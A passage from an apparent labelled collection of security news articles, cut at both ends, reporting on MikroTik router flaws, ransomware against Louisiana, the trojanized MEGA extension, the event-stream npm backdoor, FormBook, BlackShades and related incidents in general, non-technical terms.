A cybersecurity researcher from Tenable Research has released a new proof-of-concept (PoC) RCE attack for an old directory traversal vulnerability that was found and patched within a day of its discovery in April this year.

The vulnerability, identified as CVE-2018-14847, was initially rated as medium in severity but should now be rated critical because the new hacking technique used against vulnerable MikroTik routers allows attackers to remotely execute code on affected devices and gain a root shell.

The vulnerability impacts Winbox—a management component for administrators to set up their routers using a Web-based interface—and a Windows GUI application for the RouterOS software used by the MikroTik devices.

The vulnerability allows ""remote attackers to bypass authentication and read arbitrary files by modifying a request to change one byte related to a Session ID.""

New Hack Turned 'Medium' MikroTik Vulnerability Into 'Critical'

However, the new attack method found by Tenable Research exploits the same vulnerability and takes it to one step ahead.

A PoC exploit, called ""By the Way,"" released by Tenable Research Jacob Baines, first uses directory traversal vulnerability to steal administrator login credentials from user database file and the then writes another file on the system to gain root shell access remotely.

In other words, the new exploit could allow unauthorized attackers to hack MikroTik's RouterOS system, deploy malware payloads or bypass router firewall protections.

The technique is yet another security blow against MikroTik routers, which was previously targeted by the VPNFilter malware and used in an extensive cryptojacking campaign uncovered a few months ago.

New MikroTik Router Vulnerabilities
Besides this, Tenable Research also disclosed additional MikroTik RouterOS vulnerabilities, including:

CVE-2018-1156—A stack buffer overflow flaw that could allow an authenticated remote code execution, allowing attackers to gain full system access and access to any internal system that uses the router.
CVE-2018-1157—A file upload memory exhaustion flaw that allows an authenticated remote attacker to crash the HTTP server.
CVE-2018-1159—A www memory corruption flaw that could crash the HTTP server by rapidly authenticating and disconnecting.
CVE-2018-1158—A recursive parsing stack exhaustion issue that could crash the HTTP server via recursive parsing of JSON.


The vulnerabilities impact Mikrotik RouterOS firmware versions before 6.42.7 and 6.40.9.

Tenable Research reported the issues to MikroTik in May, and the company addressed the vulnerabilities by releasing its RouterOS versions 6.40.9, 6.42.7 and 6.43 in August.

While all the vulnerabilities were patched over a month ago, a recent scan by Tenable Research revealed that 70 percent of routers (which equals to 200,000) are still vulnerable to attack.

The bottom line: If you own a MikroTik router and you have not updated its RouterOS, you should do it right now.

Also, if you are still using default credentials on your router, it is high time to change the default password and keep a unique, long and complex password.

",Vulnerability
Louisiana State Government Hit by Ransomware Attack Forcing Server Shutdowns,https://thehackernews.com/2019/11/louisiana-ransomware-attack.html,"Targeted ransomware attacks on banking and finance, government, healthcare, and critical infrastructure are on the rise, with the latest victim being the state government of Louisiana.

The state government of Louisiana was hit by a large-scale coordinated ransomware attack yesterday, which forced the state to take several state agency servers offline, including government websites, email systems, and other internal applications, to mitigate the risk of the malware's infection from spreading.

The Monday's ransomware attack resulted in the subsequent shutdown of a majority of large state agencies, including the Office of the Governor, the Office of Motor Vehicles, the Department of Health, the Department of Children and Family Services, and the Department of Transportation and Development, among others.

Louisiana Gov. John Bel Edwards revealed the incident in a series of tweets, saying that he had activated the state's cybersecurity team in response to the cyber attack and that the shutdown of services was due to the state's response and not due to the attack.

""Today, we activated the state's cybersecurity team in response to an attempted ransomware attack that is affecting some state servers. The Office of Technology Services identified a cybersecurity threat that affected some, but not all state servers,"" Governor Edwards said.

""The service interruption was due to OTS' aggressive response to prevent additional infection of state servers and not due to the attempted ransomware attack. Online services started to come back online this afternoon, though full restoration may take several days.""

Ransomware attacks involve cybercriminals encrypting files and locking them up so users can't access them without paying a ransom amount, which they demand typically in Bitcoin to give the user access to those files again.

Edwards noted that the Louisiana State Police and several federal agencies are already investigating the cyberattack that impacted nearly every major state agency.

This is the second major ransomware attack that Louisiana suffered this year. In July 2019, Louisiana declared a state of emergency following a coordinated ransomware outbreak that disrupted nearly half a dozen school districts.

Governor Edwards also confirmed that Monday's cyber attack is similar to the July's ransomware attack.

""OTS has confirmed that this attempted ransomware attack is similar to the ransomware targeted at local school districts and government entities across the country this summer,"" Governor Edwards said.

At this time, it's unclear what family of ransomware malware was used in the latest attack, how the ransomware got into the state's systems, and how much amount the attackers have demanded as a ransom.

However, the governor has assured that there is ""no anticipated data loss"" and that ""the state did not pay a ransom.""

",Cyber_Attack
NASA Jet Propulsion Laboratory Vulnerable to Cross Site Scripting (XSS),https://thehackernews.com/2012/10/nasa-jet-propulsion-laboratory.html,"Yesterday, we report about the security breach in US Government computers belongs to NASA restricted area website and Hacker dump out the complete source code and files from server of the website.

Today another hacker claim a quick XSS (Cross site scripting) Vulnerability in NASA's Jet Propulsion Laboratory website (https://onearth.jpl.nasa.gov/) via a pastebin note.

Hacker is going by name ""Antraxt Hacker"" and said about vulnerability exposure that,""I just want to proof that NASA is and never will be secured as human kind thinks they are"".

The xss vulnerable link is disclosed in pastebin note. I feel this not a offensive hack by hacker, even NASA should take advantage of free of cost Penetration testing services from individual like , who even not looking for Bug Bounties.

",Vulnerability
Someone Hijacked MEGA Chrome Extension to Steal Users' Passwords,https://thehackernews.com/2018/09/mega-file-upload-chrome-extension.html,"Warning! If you are using Chrome browser extension from the MEGA file storage service, uninstall it right now.

The official Chrome extension for the MEGA.nz cloud storage service had been compromised and replaced with a malicious version that can steal users' credentials for popular websites like Amazon, Microsoft, Github, and Google, as well as private keys for users' cryptocurrency wallets.

On 4 September at 14:30 UTC, an unknown attacker managed to hack into MEGA's Google Chrome web store account and upload a malicious version 3.39.4 of an extension to the web store, according to a blog post published by the company.

Malicious MEGA Chrome Extension Steals Passwords

Upon installation or auto-update, the malicious extension asked for elevated permissions to access personal information, allowing it to steal credentials from sites like Amazon, Github, and Google, along with online wallets such as MyEtherWallet and MyMonero, and Idex.market cryptocurrency trading platform.

The trojanized Mega extension then sent all the stolen information back to an attacker's server located at megaopac[.]host in Ukraine, which is then used by the attackers to log in to the victims' accounts, and also extract the cryptocurrency private keys to steal users' digital currencies.

""You are only affected if you had the MEGA Chrome extension installed at the time of the incident, autoupdate enabled, and you accepted the additional permission, or if you freshly installed version 3.39.4,"" the company warned.

The company also said Google disallowed publishers to sign their Chrome extensions and instead is now relying solely on signing them automatically by Google after the extension is uploaded, which makes it easier for hackers to push new updates same as developers do.
The official Twitter account of Monero (XMR) also posted a warning about the incident, saying that the malicious MEGA extension also includes functionality to steal Monero cryptocurrency and advising Monero holders to stay away from the extension.

A security researcher, who first reported the breach, also posted a warning on Reddit and Twitter, advising users to avoid the trozanised MEGA extension.

Although the company has not revealed the number of users affected by the security incident, it is believed that the malicious version of the MEGA Chrome extension may have been installed by tens of millions of users.
What MEGA Users Should Do Next?

The Firefox version of MEGA has not been impacted or tampered with, and users accessing MEGA through its official website (https://mega.nz) without the Chrome extension are also not affected by the breach.

Four hours after the security breach, the company learned of the incident and updated the extension with a clean MEGA version (3.39.5), auto-updating all the affected installations.

Google also removed the MEGA extension from its Chrome Web Store five hours after the breach.

However, users should consider their credentials being compromised on websites and applications they visited while the trojanized MEGA Chrome extension was active.

""Please note that if you visited any site or made use of another extension that sends plain-text credentials through POST requests, either by direct form submission or through a background XMLHttpRequest process (MEGA is not one of them) while the trojaned extension was active, consider that your credentials were compromised on these sites and/or applications,"" the company said.

The Bottom line:

Users who had installed the malicious extension should uninstall the MEGA extension version 3.39.4 right now, and change passwords for all your accounts, especially for those you may have used while having the malicious extension.

",Malware
LinkedIn iOS app HTML Message Parsing Vulnerability,https://thehackernews.com/2013/12/linkedin-ios-app-html-message-parsing.html,"LinkedIn's iOS application is prone to a vulnerability that may permit remote attackers to execute arbitrary code.
Security Researcher Zouheir Abdallah has disclosed HTML parsing vulnerability in LinkedIn iOS an app, that can be used to phish for credentials or be escalated into a full blown attack.

LinkedIn's vulnerability occurs when the messaging feature of LinkedIn's mobile app parses invalid HTML and an attacker can exploit this vulnerability remotely from his/her account, which could have serious impact on LinkedIn's users.

He created Proof of concept of the flaw and submitted it to the LinkedIn Security team in September 2013. Later in October 2013, the vulnerable application was patched.

One of the possible attack vector is that, using this vulnerability attacker can easily phish LinkedIn user on iOS app. As shown in the screenshot, POC message says:
Hey, Can you please view my LinkedIn profile and endorse me! Thanks! I appreciate it!
The iOS app will display the url without the hyperlink embedded in the HTML a href , and the receiver of the message will not even know that he is being redirected to a malicious site.

The phishing site can be a replica of LinkedIn and tricks the victim into giving out his username and password.

This attack can also be used against LinkedIn users by claiming that, they have to re-authenticate to view some article on LinkedIn. The Same attack could also work on different devices such as Android and Blackberry, but he couldn't test as he didn't have other handsets at hand.

LinkedIn doesn't have a Bug Bounty program neither a Hall of Fame, nevertheless he received a symbolic token of a Shirt, Mug, and a thank you note from LinkedIn's security team.

Zouheir is known for reporting a serious vulnerability in DropBox's 2 Factor Authentication back in July 2013.

",Vulnerability
Over 92 Million New Accounts Up for Sale from More Unreported Breaches,https://thehackernews.com/2019/02/data-breach-sale-darkweb.html,"All these numbers….

""More than 5 billion records from 6,500 data breaches were exposed in 2018"" — a report from Risk Based Security says.

""More than 59,000 data breaches have been reported across the European since the GDPR came into force in 2018"" — a report from DLA Piper says.

…came from data breaches that were reported to the public, but in reality, more than half of all data breaches actually go unreported.

Just last week, we disclosed the existence of some massive unreported data breaches in two rounds, which a hacker has now started monetizing by selling stolen user databases publicly.

Now, a new set of databases containing millions of hacked accounts from several websites has been made available for sale on the dark web marketplace by the same hacker who goes by online alias Gnosticplayers.

Gnosticplayers last week made two rounds of stolen accounts up for sale on the popular dark web marketplace called Dream Market, posting details of nearly 620 million accounts stolen from 16 popular websites in the first round and 127 million records originating from 8 other sites in the second.

The third round, which the hacker told The Hacker News would be his last round, published Sunday contained more than 92 million hacked users' accounts stolen from 8 websites, including the popular GIF hosting platform Gfycat.

New List of Hacked Websites
Gnosticplayers told The Hacker News in an email that the third round up for sale on Dream Market belonged to the following 8 hacked websites:

Pizap (Photo editor) — 60 million
Jobandtalent (Online job portal) — 11 million
Gfycat (GIF hosting service) — 8 million
Storybird (Online publishing platform) — 4 million
Legendas.tv (Movie streaming site) — 3.8 million
Onebip (Mobile payment service) — 2.6 million
Classpass (Fitness and Yoga center) — 1.5 million
Streeteasy (Real estate) — 990,000 (1 million)

The hacker is selling each of the above listed hacked databases individually on Dream Market for a total worth 2.6249 Bitcoin (roughly $9,700).

In an interview with The Hacker News, Gnosticplayers said none of the services listed in the third round was aware of the data breach of its network and has previously disclosed any such security incident.

Since the majority of compromised services listed in the first and second batches have confirmed the previously-unreported or undetected data breaches, it's likely that the new round of stolen accounts being sold on the underground market is also legit.

While the third round of the stolen accounts has been up for sale on the Dream Market, the first and second collections have already been removed from the underground market (except a round-2 database from interior designing service Houzz) by the hacker to avoid them from getting leaked or land on security initiatives like Google's new Password Checkup tool.

What's next? If you are a user of any of the above-listed services or websites disclosed in the previous two rounds, you should consider changing your passwords and also on other services in the event you re-used the same password.

",Data_Breaches
FBI raids BlackShades RAT Malware Customers in Europe and Australia,https://thehackernews.com/2014/05/fbi-raids-blackshades-rat-malware_16.html,"When it comes to crime, whether it's an online or offline, FBI doesn't spare anyone. According to the French media reports and various announcements on underground forums by hacking groups, the FBI has started a large-scale operation of International raids with the help of local law enforcement authorities to arrest a particular group of cyber criminals and Hackers.

The FBI has targeted the customers of a popular Remote Administration Tool (RAT) called 'blackshades', which allows them to connect and manage thousands of remotely infected computers over the Internet.

WHAT IS BLACKSHADES RAT??
'Blackshades' is a remote administration tool (RAT) which allows an attacker to control several clients from around the world.

Blackshades malware is fully equipped with Drive-by attacks, Java exploits, keylogger and it allows an attacker to steal usernames and passwords for email and Web services, instant messaging applications, FTP clients and lots more.

In worst cases, the program even allows hackers to take remote control of users' computer and webcam to take photos or videos without the knowledge of the computer owner.

The infected PCs can also be used to perform DDoS attacks and other illegal activities without any knowledge of its owner. The program modifies itself in such a way so that it remains elusive for antivirus software. It has been sold on underground forums since at least 2010, which cost between 40 and 100 dollars.
In 2012, while a very serious and bloody internal war between the government and the opposition forces, the BlackShades RAT was also used to infect and Spy on Syrian activists.

However, Back in 2012, a developer of the Blackshades team was reportedly arrested and during same time the source code of the tool was also leaked on the Internet.

FBI RAID AND SEIZURE
On various hacking forums, members claimed that FBI especially going after all of them who purchased the hacking tool using PayPal as payment option, so it could be estimated that PayPal is cooperating with the FBI.

Some claimed, even if the FBI has no record or evidence that those customers committed any crime or not, they are still raiding in search of logs and proofs.

Few users of 'Blackshades' Tool posted on the Hack Forums website that their houses are being raided by the FBI.

A user from Germany reported that he was visited by German police on purchased of the BlackShades RAT and agents seized his PC, laptop, external hard drive, and cryptography-related documents.

Another user from the Netherlands posted on the Hack Forums that he too has been visited by seven agents of the country's cyber crime police, who seized his phone, computer and other electronics as well.

The current ongoing FBI raid-campaign is targeting only European, including Belgium, UK, Denmark, Italy, Sweden and even the Australian Customers, but till now we have not seen any evidence of raids in the US or Canada.

FBI has also seized the European domain of BlackShades official website (www.eurid.eu) and modified the owner details to 'Federal Bureau of Investigation', as shown.
Marjinz, a member of BlackShades developer team claimed on a forum that FBI got their customer database from his Hotmail, but he even didn't know HOW! It could be possible that Microsoft has provided the content from developer's Hotmail account to the FBI.

FBI WARNING TO HACKERS
This could be in response to the latest Wednesday announcement of the FBI that it is planning searches and multiple arrests of cyber criminals over the next several weeks for combating cybercrime, Reuters reported.

""There is a philosophy change. If you are going to attack Americans, we are going to hold you accountable,"" the FBI's Robert Anderson told the Reuters. ""If we can reach out and touch you, we are going to reach out and touch you.""

BlackShades tool was actually developed by an IT surveillance and security-based company, who promoted it as a tool for parents to monitor their Children activities and for finding the cheating partners in relationship. But, as usual every weapon could be used for both purposes, killing and saving lives.

Update: One of our reader from Canada confirmed that his house was also raided by 'Royal Canadian Mounted Police' (FBI of Canada) two days ago. 'My son bought Blackshades and they had a warrant and search the entire house. They confiscated his computer.' he said.

",Malware
Google Patches Critical Remotely-exploitable Flaws in Latest Android Update,https://thehackernews.com/2016/02/update-android-security.html,"Google has released the February Security Update for Android that patches multiple security vulnerabilities discovered in the latest version of Android operating system.

In total, there were five ""critical"" security vulnerabilities fixed in the release along with four ""high"" severity and one merely ""moderate"" issues.

Remote Code Execution Flaw in WiFi

A set of two critical vulnerabilities has been found in the Broadcom WiFi driver that could be exploited by attackers to perform Remote Code Execution (RCE) on affected Android devices when connected to the same network as the attacker.

The vulnerabilities (CVE-2016-0801 and CVE-2016-0802) can be exploited by sending specially crafted wireless control message packets that can corrupt kernel memory, potentially leading to remote code execution at the kernel level.
""These vulnerabilities can be triggered when the attacker and the victim are associated with the same network,"" reads the advisory. ""This issue is rated as a Critical severity due to the possibility of remote code execution in the context of the kernel without requiring user interaction.""

Remote Code Execution Flaw in Mediaserver

Another set of two critical security vulnerabilities were discovered in Mediaserver that was targeted last summer by critical Stagefright vulnerabilities and exploits, allowing anyone to compromise an Android device by sending just a specially crafted MMS message.

The recently discovered flaws (CVE-2016-0803 and CVE-2016-0804) in Mediaserver could enable remote code execution (RCE) on affected Android devices through email, web browsing, or MMS files when processing media files.

Moreover, a separate vulnerability called elevation of privilege (CVE-2016-0810) was also discovered in Mediaserver that could be exploited to gain elevated capabilities, including Signature or SignatureOrSystem permissions privileges, that aren't accessible to third-party apps.

Two Elevation of Privilege vulnerabilities has also been found in Qualcomm components: the Qualcomm Performance Module (CVE-2016-0805) and the Qualcomm Wi-Fi Driver (CVE-2016-0806). Both the flaws, rated as critical, leveraged an attacker to launch further attacks.

Another critically rated bug (CVE-2016-0807) discovered in the Debuggerd component could open the door to execute arbitrary code within the device's root level. Debuggerd is a software tool used for debugging and analyzing Android crashes.

Other high severity bugs include:
An elevation of privilege vulnerability in the Android Wi-Fi component
A denial-of-service vulnerability in the Minikin library
An information disclosure bug in libmediaplayerservice
The final set of vulnerabilities is an Elevation of Privilege flaw in Setup Wizard that could allow a hacker to bypass the Factory Reset Protection and gain access to the affected device.

All the Security patches are currently made available for Nexus devices only. Google also shared the patches with carrier and manufacturer partners on January 4, but users of other Android devices should have to wait until their devices receive an update.

Nexus device users are advised to patch the flaws by flashing their devices to this new build immediately. Users can also wait for the OTA (Over-the-Air) update that will be out in the next week or so.

",Vulnerability
Browser Bugs Exploited to Install 2 New Backdoors on Targeted Computers,https://thehackernews.com/2020/10/browser-exploit-backdoor.html,"Cybersecurity researchers have disclosed details about a new watering hole attack targeting the Korean diaspora that exploits vulnerabilities in web browsers such as Google Chrome and Internet Explorer to deploy malware for espionage purposes.
Dubbed ""Operation Earth Kitsune"" by Trend Micro, the campaign involves the use of SLUB (for SLack and githUB) malware and two new backdoors — dneSpy and agfSpy — to exfiltrate system information and gain additional control of the compromised machine.
The attacks were observed during the months of March, May, and September, according to the cybersecurity firm.
Watering hole attacks allow a bad actor to compromise a targeted business by compromising a carefully selected website by inserting an exploit with an intention to gain access to the victim's device and infect it with malware.
Operation Earth Kitsune is said to have deployed the spyware samples on websites associated with North Korea, although access to these websites is blocked for users originating from South Korean IP addresses.
A Diversified Campaign
Although previous operations involving SLUB used the GitHub repository platform to download malicious code snippets onto the Windows system and post the results of the execution to an attacker-controlled private Slack channel, the latest iteration of the malware has targeted Mattermost, a Slack-like open-source collaborative messaging system.
""The campaign is very diversified, deploying numerous samples to the victim machines and using multiple command-and-control (C&C) servers during this operation,"" Trend Micro said. ""In total, we found the campaign using five C&C servers, seven samples, and exploits for four N-day bugs.""
Designed to skip systems that have security software installed on them as a means to thwart detection, the attack weaponizes an already patched Chrome vulnerability (CVE-2019-5782) that allows an attacker to execute arbitrary code inside a sandbox via a specially-crafted HTML page.
Separately, a vulnerability in Internet Explorer (CVE-2020-0674) was also used to deliver malware via the compromised websites.
dneSpy and agfSpy — Fully Functional Espionage Backdoors
The difference in the infection vector notwithstanding, the exploit chain proceeds through the same sequence of steps — initiate a connection with the C&C server, receive the dropper, which then checks for the presence of anti-malware solutions on the target system before proceeding to download the three backdoor samples (in "".jpg"" format) and executing them.
What's changed this time around is the use of Mattermost server to keep track of the deployment across multiple infected machines, in addition to creating an individual channel for each machine to retrieve the collected information from the infected host.
Of the other two backdoors, dneSpy, and agfSpy, the former is engineered to amass system information, capture screenshots, and download and execute malicious commands received from the C&C server, the results of which are zipped, encrypted, and exfiltrated to the server.
""One interesting aspect of dneSpy's design is its C&C pivoting behavior,"" Trend Micro researchers said. ""The central C&C server's response is actually the next-stage C&C server's domain/IP, which dneSpy has to communicate with to receive further instructions.""
agfSpy, dneSpy's counterpart, comes with its own C&C server mechanism that it uses to fetch shell commands and send the execution results back. Chief among its features include the capability to enumerate directories and list, upload, download, and execute files.
""Operation Earth Kitsune turned out to be complex and prolific, thanks to the variety of components it uses and the interactions between them,"" the researchers concluded. ""The campaign's use of new samples to avoid detection by security products is also quite notable.""
""From the Chrome exploit shellcode to the agfSpy, elements in the operation are custom coded, indicating that there is a group behind this operation. This group seems to be highly active this year, and we predict that they will continue going in this direction for some time.""

",Malware
Fujitsu cracks 278-digit crypto in 148 Days using 21 PCs,https://thehackernews.com/2012/06/fujitsu-cracks-278-digit-crypto-in-148.html,"Fujitsu cracks 278-digit crypto in 148 Days using 21 PCs

A team of researchers in Japan have successfully broken a 278-digit piece of crypto in less than 200 days. Fujitsu Laboratories Limited, National Institute of Information and Communications Technology (NICT) and Kyushu University jointly broke a world cryptography record with the successful cryptanalysis of a 278-digit (923-bit)-long pairing-based cryptography, which is now becoming the next generation cryptography standard.

""We were able to overcome this problem by making good use of various new technologies, that is, a technique optimising parameter setting that uses computer algebra, a two dimensional search algorithm extended from the linear search, and by using our efficient programing techniques to calculate a solution of an equation from a huge number of data, as well as the parallel programming technology that maximises computer power.""

This doesn't mean that pairing-based cryptography, which is rapidly becoming a go-to standard in crypto, is now useless. (It's to be used in everything from securing government networks to locking down financial systems.) Rather, the research is intended to establish just how long keys need to be in order to be reasonably secure against attacks by efficient algorithms and powerful computers.

Their work smashes the previous record of a 204 digit (676 bit) system which Japan's Hakodate Future University and NICT managed in 2009.Fujitsu claimed that today's record required several hundred times the computational power of the 2009 effort – in effect this amounted to 21 PCs, or 252 cores.

Fujitsu also said it used a parallel programming technology that maximises computer power to complete the task.The Japanese firm was keen to note that the result of the diciphering is more than just a new world record.

",Vulnerability
FormBook—Cheap Password Stealing Malware Used In Targeted Attacks,https://thehackernews.com/2017/10/formbook-password-stealer.html,"It seems sophisticated hackers have changed the way they conduct targeted cyber operations—instead of investing in zero-days and developing their malware; some hacking groups have now started using ready-made malware just like script kiddies.

Possibly, this could be a smart move for state-sponsored hackers to avoid being attributed easily.

Security researchers from multiple security firms, including Arbor Networks and FireEye, independently discovered a series of malware campaigns primarily targeting aerospace, defence contractors and manufacturing sectors in various countries, including the United States, Thailand, South Korea and India.

What's common? All these attack campaigns, conducted by various hacking groups, eventually install same information and password stealer malware—dubbed FormBook—on the targeted systems.

FormBook is nothing but a ""malware-as-as-service,"" which is an affordable piece of data-stealing and form-grabbing malware that has been advertised in various hacking forums since early 2016.

Anyone can rent FormBook for just $29 per week or $59 per month, which offers a range of advanced spying capabilities on target machines, including a keylogger, password stealer, network sniffer, taking the screenshots, web form data stealer and more.

According to the researchers, attackers in each campaign are primarily using emails to distribute the FormBook malware as an attachment in different forms, including PDFs with malicious download links, DOC and XLS files with malicious macros, and archive files (ZIP, RAR, ACE, and ISOs) containing EXE payloads.

Once installed on a target system, the malware injects itself into various processes and starts capturing keystrokes and extracts stored passwords and other sensitive data from multiple applications, including Google Chrome, Firefox, Skype, Safari, Vivaldi, Q-360, Microsoft Outlook, Mozilla Thunderbird, 3D-FTP, FileZilla and WinSCP.

FormBook continuously sends all the stolen data to a remote command and control (C2) server which also allows the attacker to execute other commands on the targeted system, including start processes, shutdown and reboot the system, and stealing cookies.

""One of the malware's most interesting features is that it reads Windows' ntdll.dll module from disk into memory, and calls its exported functions directly, rendering user-mode hooking and API monitoring mechanisms ineffective,"" FireEye says.

""The malware author calls this technique ""Lagos Island method"" (allegedly originating from a userland rootkit with this name).""

According to the researchers, FormBook was also seen downloading other malware families such as NanoCore in the last few weeks.

The attackers can even use the data successfully harvested by FormBook for further cybercriminal activities including, identity theft, continued phishing operations, bank fraud and extortion.

FormBook is neither sophisticated, nor difficult-to-detect malware, so the best way to protect yourself from this malware is to keep good antivirus software on your systems, and always keep it up-to-date.

",Cyber_Attack
Rogue Developer Infects Widely Used NodeJS Module to Steal Bitcoins,https://thehackernews.com/2018/11/nodejs-event-stream-module.html,"A widely used third-party NodeJS module with nearly 2 million downloads a week was compromised after one of its open-source contributor gone rogue, who infected it with a malicious code that was programmed to steal funds stored in Bitcoin wallet apps.

The Node.js library in question is ""Event-Stream,"" a toolkit that makes it easy for developers to create and work with streams, a collection of data in Node.js — just like arrays or strings.

The malicious code detected earlier this week was added to Event-Stream version 3.3.6, published on September 9 via NPM repository, and had since been downloaded by nearly 8 million application programmers.

Event-Stream module for Node.js was originally created by Dominic Tarr, who maintained the Event-Stream library for a long time, but handed over the development and maintenance of the project several months ago to an unknown programmer, called ""right9ctrl.""

Apparently, right9ctrl gained Dominic's trust by making some meaningful contributions to the project.

After gaining access to the library, the new rightful maintainer ""Right9ctrl"" released Event-Stream version 3.3.6, containing a new library, called Flatmap-Stream, as a dependency, which was specifically crafted for the purposes of this attack and includes the malicious code.

Since the flatmap-stream module was encrypted, the malicious code remained undetected for more than 2 months until Ayrton Sparling (FallingSnow), a computer science student at California State University, flagged the issue Tuesday on GitHub.

After analyzing the obfuscated code and encrypted payload, open source project manager NPM which hosted event-stream found that the malicious module has been designed to target people using BitPay's open-source bitcoin wallet app, Copay, a company that incorporated event-stream into its app.

The malicious code attempted to steal digital coins stored in the Dash Copay Bitcoin wallets—distributed through the Node Package Manager (NPM)—and transfer them to a server located in Kuala Lumpur.

Officials from NPM—the open source project manager that hosted event-stream code library—removed the backdoor from NPM's listing on Monday this week.

BitPay also published an advisory saying Copay versions 5.0.2 through 5.1.0 were affected by the malicious code and that users with these versions installed should avoid running or opening the app until they install Copay version 5.2.0.

""Users should assume that private keys on affected wallets may have been compromised, so they should move funds to new wallets (v5.2.0) immediately,"" BitPay says in the advisory.

""Users should first update their affected wallets (5.0.2-5.1.0) and then send all funds from affected wallets to a brand new wallet on version 5.2.0, using the Send Max feature to initiate transactions of all funds.""

BitPay also says that its team continues to investigate this issue and the extent of the vulnerability to know whether the malicious code was ever exploited against Copay users.

BitPay assures its users that the BitPay app was not vulnerable to the malicious code.

",Cyber_Attack
Core Tor Developer who accuses FBI of Harassment moves to Germany,https://thehackernews.com/2016/05/tor-fbi-lovecruft.html,"One of TOR's primary software developers, Isis Agora Lovecruft, has fled to Germany, following the threat of a federal subpoena.

Lovecruft is a well-known cryptographer and lead software developer for Tor project from many years. She has worked for a variety of other security and encryption products, such as Open Whisper Systems and the LEAP Encryption Access Project.

Since November 2015, the FBI special agents in the United States have been trying to meet with her, but they will not tell her or her lawyer exactly why.

When her lawyer reached out the FBI Special Agent Mark Burnett and asked why he wanted to meet with her, the agent assured the lawyer that she is not the target of any investigation, but also said that…

Also Read: Mozilla asks Court to disclose Firefox Exploit used by FBI to hack Tor users.

The FBI have their agents on the streets in 5 cities in the United States hunting for her, intending to simply ask her some questions without her lawyer's presence.

Lovecruft's lawyer responded by saying that all questions should be directed to him rather than to Lovecruft or her family, but Burnett said that he will not tell her or her lawyer what this involves.

In general, it's not a big deal to have at least a meeting with the FBI agents to know what exactly are the federal agents looking for.

But Lovecruft fears that the federal agents will serve her with some kind of secret warrant, possibly to get her to insert a backdoor in the TOR system and expose TOR users around the world to potential spying.

Must Read: Former Tor Developer Created Malware for FBI to Unmask Tor Users.

So, she packed her suitcase and left the United States for Germany on December 7 last year, accusing the FBI of harassment for the past 6 months.
""I had already been in the process of moving, permanently, to Germany, and had retained a German immigrations lawyer several months prior to these events,"" Lovecruft wrote in her blog post titled, 'FBI Harassment.'
Although unsure if she was breaking any laws by leaving the country, she booked a flight to Berlin – despite the fact that she didn't intend to use the return ticket – just to avoid raising suspicions.

However, this didn't end the matter, and the FBI Special Agent Kelvin Porter in Atlanta called Lovecruft's lawyer last month, asking him where to send a subpoena for Lovecruft to help testify in a criminal hacking case.

Also Read: Judge Ordered the FBI to Reveal the Source Code of its Tor Hacking Exploit.

Following the Lovecruft's blog post, the Tor Project official Twitter tweeted out in support of their developer, saying ""We support our colleague Isis.""

In response to this issue, an FBI spokesperson told IBTimes:
""The FBI, as a general policy, does not confirm nor deny investigations, nor comment on the investigative activity unless it is a matter of public record. If someone is alleging harassment of any kind that should be brought to the attention of the government, though it is unclear what specific activity is even being characterized as harassment.""
TOR is an anonymity software that provides a safe haven to human rights activists, government, journalists but also is a place where drugs, child pornography, assassins for hire and other illegal activities has allegedly been traded.

Since last few years, the FBI has been trying to break TOR and unmask TOR users identity in several investigations.

The agency has accused of hacking TOR users in an investigation of the world's largest dark web child pornography site 'Playpen.' The FBI has also compelled Carnegie Mellon University to help them hack TOR users.

",Malware
A New Paradigm For Cyber Threat Hunting,https://thehackernews.com/2018/06/cyber-threat-hunting.html,"It's no secret that expecting security controls to block every infection vector is unrealistic. For most organizations, the chances are very high that threats have already penetrated their defenses and are lurking in their network.

Pinpointing such threats quickly is essential, but traditional approaches to finding these needles in the haystack often fall short.

Now there is a unique opportunity for more feasible, more effective threat hunting capabilities, and it stems from a most unusual effort: rethinking the approach to wide area networking.

When we look at the cyber kill-chain today, there are two major phases—infection and post-infection. Security experts acknowledge that organizations can get infected no matter how good their security controls are.

The simple fact is, infection vectors change rapidly and continuously. Attackers use new delivery methods – everything from social engineering to zero-day exploits – and they often are effective.

In most cases, an infection is a singular event. The delivery method is singular, which decreases the chances of detection by the security controls that are meant to prevent threats from entering.

Unfortunately, most organizations still focus more of their resources on prevention rather than detection. The primary tools they deploy today include firewall, anti-spam, sandboxing, IPS (intrusion prevention), intelligence feeds, URL filtering, anti-malware, and anti-bot.

These solutions are designed to be in front of what's left of the perimeter to prevent infection attempts. Once a threat slips through the perimeter, however, the tool can't see or stop it.

Threat hunting is on the rise

This has given rise to the notion of ""threat hunting,"" or the process of proactively searching the network for threats that have evaded existing security measures.

Threat hunting requires a shift to a post-infection mentality and sets of tools such as SIEM (security incident and event management), EDR (endpoint detection and response) and NDR (network detection and response).

Even with these tools, threat hunting is a challenge for a variety of reasons. For one thing, these solutions are ""heavy."" They require some kind of data collection that involves installing agents on endpoints and/or hardware placed on networks. This can get quite expensive for a large enterprise.

What's more, it can miss traffic from mobile devices that don't have the collection agent installed. Another problem is that these solutions rely on available substantive data at a single point in time. This data lacks a broader context and historical perspective.

For example, when a SIEM tool receives alerts and logs from the many different point security solutions, the alerts are detached from each other, such that each conclusion is different without the raw data behind the alerts.

There are too many events without enough context for security analysts to pinpoint an infection. Moreover, few organizations have the skills and resources to analyze the data and identify persistent threats.

A new opportunity for threat hunting

Oddly enough, the enterprise shift to software-defined wide area networking (SD-WAN) as a cloud-based service now offers an alternative means to conduct threat hunting that addresses the shortcomings of the existing approaches.

Cloud-based SD-WAN is a new networking architecture whereby all the entities of the typical enterprise network – the headquarters office, the data center(s), branch locations, the cloud infrastructure that is part of the external network (i.e., AWS, Azure, etc.), as well as mobile users – are all connected into a network in the cloud.

These elements connect to the cloud network backbone through a global series of points of presence (PoPs). This creates a single unified network that carries all traffic of the various enterprise entities that are connected, including corporate internet plus WAN traffic. Having all this traffic flow on one network forms a valuable dataset for threat hunting.

Cato Networks has identified the opportunity to utilize this single, unified source of data flowing across its Cato Cloud network as input to a new threat hunting service.

This extends Cato's converged security offering which already includes the firewall as a service, Next Generation firewall, secure web gateway and advanced threat protection.

What makes threat hunting via cloud-based networking unique

Traditional network security solutions are built at the level of a single branch network. All the traffic they inspect is isolated and limited to a specific location, such as a branch or a geographic location.

Because Cato has its own network backbone, into which it has full visibility, the service provider can see all network traffic, from all customers, all over the world. This visibility into so many network flows and so much data are unique, and it allows Cato to build the models that enable full threat hunting based on unlimited raw data.

Cato's model evolves three aspects of data context: client classification, target and time (see Figure 1). Let's have a look at each of these elements, and how putting the three pieces together provides a very high degree of confidence that a threat is present on the network.

